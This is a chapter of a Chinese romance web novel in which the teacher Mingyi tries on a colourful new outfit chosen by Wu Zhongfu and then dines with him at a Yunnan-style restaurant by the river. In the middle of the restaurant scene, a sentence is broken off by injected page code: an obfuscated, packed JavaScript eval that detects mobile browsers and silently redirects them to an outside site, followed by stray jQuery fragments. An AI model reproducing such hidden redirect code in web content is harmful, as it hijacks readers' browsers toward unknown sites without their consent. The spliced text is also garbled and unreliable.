掌柜极有眼色，立刻引着明夷走向店内以竹帘隔开的试衣间，另两名训练有素、手脚轻柔的侍女捧着衣物随她入内。


    竹帘落下，隔开了外间的视线，然仍有细微的声响传入，明夷能听到帘外吴中孚低沉地与掌柜交谈的声音，似乎在谈论着某种新到的蜀锦。


    她微微往外俯身，下意识想将帘外的对话听得更明白些。断断续续的交谈声传入耳中，似乎是在谈论衣料款式，其中一些字词就她听得也不甚明白，只是阿孚何时对这些那么了解了？


    明夷不觉凝眉沉思，身侧忽传来侍女轻柔的声音，“麻烦您抬抬手。”


    明夷闻言立刻回直身子，唰地一下将手臂迅速抬平，利落的动作将一旁的侍女吓了一跳，连忙柔声道：“您不用抬那么高，会累的。”


    明夷这才意识到自己双臂平直，宛若大鹏展翅般的姿势，尴尬地低笑两声，稍稍将手臂垂下好许，绷着一副表情装作无事发生，由着侍女服侍着褪下自己粘了糖人的宝蓝色长衫，换上一旁的新衣。


    冰凉的罗料贴上肌肤，滑滑的，触感似娇嫩柔软的花瓣，很是舒适。侍女一人灵巧地系着斜襟的纽襻，一人蹲下整理着马面裙的褶裥，明夷抬头看向铜镜中那个身姿窈窕的女子，小幅度的左右侧了侧身子，心里满意极了。


    侍女整理好最后一根衣带，往后退了一小步，看着面前光彩照人的高挑女子，忍不住低声赞叹道：“夫人穿着真是好看极了，您夫君真是好眼光！”


    明夷闻言皱眉，“我——”


    转念一想，解释起来徒添事端，再说他们也的确要成亲了，最后只是笑笑并未言语。


    “好了么？”吴中孚的声音在帘外响起，比起平时似乎低沉了一分。


    侍女轻轻掀起竹帘，视野顿时开阔，明夷提着裙摆莫名有些羞涩，脚步微微顿住，落后于两名侍女身后


    “可是有地方不合心意吗？”侍女微微低头，带着疑惑


    “很好。”


    明夷微笑颔首，手掌抚了抚被捏皱的裙摆，微仰着头利落迈步，裙摆摩擦地面发出窸窸窣窣的声响，烛火隔着薄纱灯罩恰好透过檀木格柜，斜斜地笼罩在她身上，凭添一层流光浮华。


    少女容貌明媚清艳，其实最适合鲜艳亮色，奈何为人师表，日常与学生上课不好穿得过于张扬，因而明夷总是穿着青、蓝、月白等颜色，次数多了，这类衣裳已然成为了她的工服。


    然事实证明，没人喜欢上班，即使同事友善，学生听话。


    而现在这一身，鹅黄色罗衫清透如烟，如同冬日暖阳般的色调衬得她肌肤胜雪。松绿马面上的织金石榴花在光线下流淌着张扬的华彩，随着她脚步轻移，裙裾如水波般荡漾开优雅的弧度。后又外罩一件正红色无袖妆花纱比甲，彩线织出芙蓉花模样，在烛光下闪着隐隐的光彩。


    鲜艳张扬的色彩将明夷整个人衬得如同五月盛放的红榴花，通身的明媚耀眼似化为实质，让本就亮堂的屋子变得更具光彩，当称一句活色生香。吴中孚的目光在瞬间就牢牢锁住了她，带着毫不掩饰的惊艳与欣赏，以及一种近乎灼热的专注。


    明夷原本大方自在的神色被青年过于炽热的目光注视得有些无所适从，下意识想低头躲避，但…她顿了顿动作，眉心皱在一起，内心不解


    她在躲什么？不对，有什么好躲的？


    一边想着，明夷暗暗吐出一口气，故作镇定地仰了仰下巴，嘴角也随之勾起一抹灿烂的笑，冲着吴中孚爽朗道：“如何，是不是很漂亮？”


    素日稳重疏冷的青年现如今表情鲜活，重重地点了点头，略显呆拙的动作惹得明夷一声轻笑。


    吴中孚不吝溢美之词，发挥出自己会试第六的好文采，滔滔不绝的将明夷从头到脚夸了个遍，直将人夸得眉眼一齐弯成俏丽的月牙，嘴角都要咧到耳边去了。


    明夷又对着镜子照了照自己的新衣，揉了揉笑僵的脸颊，心里满意道，对嘛，这才是他俩正常的相处模式，刚刚的那些太奇怪了，请千万保持住……哎呀该说不说好久没买到这么好看的衣裳，阿孚的眼光真不错！以后做衣裳可以找他参谋一下，嗯真是越看越好看呐……


    “明夷——”青年的声音突然在身后响起


    明夷猛得转头，“嗯？有事，干嘛？”


    “去吃饭吗？”青年道。


    明夷微微颔首，“行。”目光顺势越过吴中孚投向店铺掌柜，“麻烦结下账！”


    掌柜小碎步向前，满脸笑容的示意道：“这位少爷已经结过了。”


    明夷惊讶地看向吴中孚，后者态度自若地承接着她的目光，明夷微微一愣，感觉自己有点脸热


    阿孚最近是不是笑的有点多了，嘶，那种奇怪的感觉又来了……


    明夷微微移开了目光，天王菩萨啊，一定是他长得太好，打小就精致漂亮的不像真人，现如今张开了更是不得了，这谁受到了！这样下去不得行，啧，先看看自己的脸冷静一下，欸那个镜子在哪里来着，嘶——


    “走吗？”青年的声音突然近了许多。


    吴中孚站在离明夷不足两步远的位置，微微挑眉，朝门外歪了歪头。


    青年的肤色白如冷玉，修长疏朗的双眉如墨笔轻扫，斜飞入鬓，眼尾微微上挑，瞳色较一般人要淡上不少，带着几分文人特有的清逸与疏离，然现下却含着满满的笑意与亲昵。眉宇间的红痣如同精雕细琢的珊瑚珠，似神佛眉心的慧点，为其俊逸出尘的容貌平添了一抹近乎妖异的秾艳。


    明夷听见自己响如雷鼓的心跳，情不自禁地抿了抿嘴唇，结结巴巴道：“走，走吧。”


    两人并肩跨过门槛，吴中孚非常自然的虚搀着她的手，明夷藏在衣袖的手指紧了紧，她……


    “欸两位请留步！小姐换下的衣服——”掌柜追出门外喊道


    明夷转身正要去拿，吴中孚已经将包裹拎在了手上，对着明夷道：“我来就好。”


    他们的目的地是临河那家新开的“滇南食府”，明夷前些时候路过时就盯上了，专门拐道去看过好几次，总算是开张了。本来计划着与沈琼、琼清两人一起约着尝鲜，不想今天她要先吃一步。


    酒楼不大，却极富地方特色，在河边一众建筑当中格外显眼。竹木搭建的两层小楼悬着五彩斑斓的布幔，门口挂着几串红艳艳的干辣椒和金黄的苞米穗子，楼内隐约有独特的、混合着酸辣香气的食物味道飘散出来，十分勾人食欲。


    店小二热情地将明夷二人引上二楼临窗的雅座，这里视野极好，向上卷起竹帘，便能看见护城河上的点点火光与更远处朦胧的山影。眼下暮色四合，天空由热烈的橘红转为深沉的靛蓝，薄纱般的月光纱网一般罩住了一城朦胧夜色。


    竹子做成的桌上铺着靛蓝扎染的粗布，上头燃着一盏小巧的油灯，昏黄的光


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15836515|166940||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    晕柔和地笼罩着两人，平添一份模糊不清的暧昧。


    明夷有些不自在，一系列擦手倒茶钻研餐具的动作后，又转头好奇地打量起四周墙上挂着的竹编斗笠和色彩浓烈的南诏图腾挂毯，随口道：“这里倒真是别致。”


    吴中孚的目光落在她被灯火映照得格外柔和的侧脸上，应了一声，“听说是南诏那边的菜色。”


    青年拎起酒壶替明夷斟了一杯店家自酿的“咂酒”，动作间，他的衣袖不经意拂过她的手背，带来一丝微凉的触感，明夷的手指微微蜷缩了一下，悄悄缩回了袖口。


    菜肴很快上桌，色香味俱是京城少见的浓烈。白陶小汽锅盖子一掀，浓郁的鸡汤混合着菌菇的奇香瞬间弥漫开来，汤色金黄清亮，蒸汽袅袅，赶在吴中孚动作之前，明夷一把抢过汤勺，给人盛了一碗清澈的鸡汤。


    明夷一副可靠阿姐的模样，将汤碗放到青年面前，嘱咐道：“小心烫。”


    吴中孚神色自若，顺势拿起汤匙尝了一口，赞叹道：“好鲜！”


    “那是自然，滇南名菜这可是。”遇到喜欢的菜色，明夷嘴角漾开小巧的梨涡，露出一排编贝般细白的牙齿。


    青年瞧见她生动的表情，眉眼染上浓厚的笑意，将桌上那盘红艳艳的舂鸡向前推了推，“尝尝这个，店家说也是特色。”


    撕碎的去骨鸡脚与大量青柠檬汁、小米辣、芫荽、姜蒜末等舂拌在一起，色泽鲜亮，最是酸辣开胃。明夷吃得开怀，饱满的嘴唇红艳艳的，脸颊浮起一层红晕，鼻翼微微翕动，透着股明媚的活力。


    皆言秀色可餐，吴中孚看得眼痴，不自觉也夹了一筷子鸡脚送入口中，瞬间一股强烈的酸辣就直冲上来。青年忍不住轻轻吸了口气，脸颊迅速染上一层薄红，眼中也泛起一点生理性的水光。


    “咳…好辣。”吴中孚下意识伸手去拿茶杯，明夷先行一步，将面前的咂酒推到他手边


    “喝这个，解辣。”


    吴中孚感激接过，微甜带酸的米酒一入喉，果然缓解了那股灼烧感。


    “明明不能吃辣怎么还吃那么一大口？”少女左手撑脸，歪着头嗔怪道。


    青年腼腆一笑，“一时不查，被好颜色晃了眼睛。”


    明夷左手微顿，侧脸失去支撑，猛得往前点了一下，狼狈抬头，只见青年的眼神在摇曳的灯火下显得格外深邃，仿佛在无声地说着些她读不懂，或者不愿读懂的东西。


    明夷掩饰着垂眸，欲盖弥彰的咳嗽两声，双手捧着茶杯小口嘬着。青年看了她半响，忍不住发出一声轻笑，极其自然地夹了一块浸在酸辣汤汁里的烤鱼放到她碗里，还细心地蘸了一点旁边那碟香气复杂的蘸水，温柔道：“试试这个蘸水，听说是店家自制的，风味独特。”


    明夷垂眼看着面前色泽鲜亮的红汤，默默吃完碗里的鱼肉，坐在对面的青年能够清晰地看到她微微扇动的长睫和泛着健康红晕的脸颊，兀自握紧了手中的木箸。


    窗外暮色彻底沉沦，深蓝的天幕上缀着点点星子，河面倒映着酒楼灯火与星光，晚风带着水汽和食物的余香拂过明夷颊边的碎发，两人一时静默无言。


    只是，明夷发现这份安静并不尴尬，反而有种奇异的舒适感，少女放下筷子，目光越过桌上杯盏，落在窗外波光粼粼的河面上。吴中孚顺着她的目光望去，两人共享着这份宁静，耳边只余温柔的晚风与楼下隐约传来的喧闹。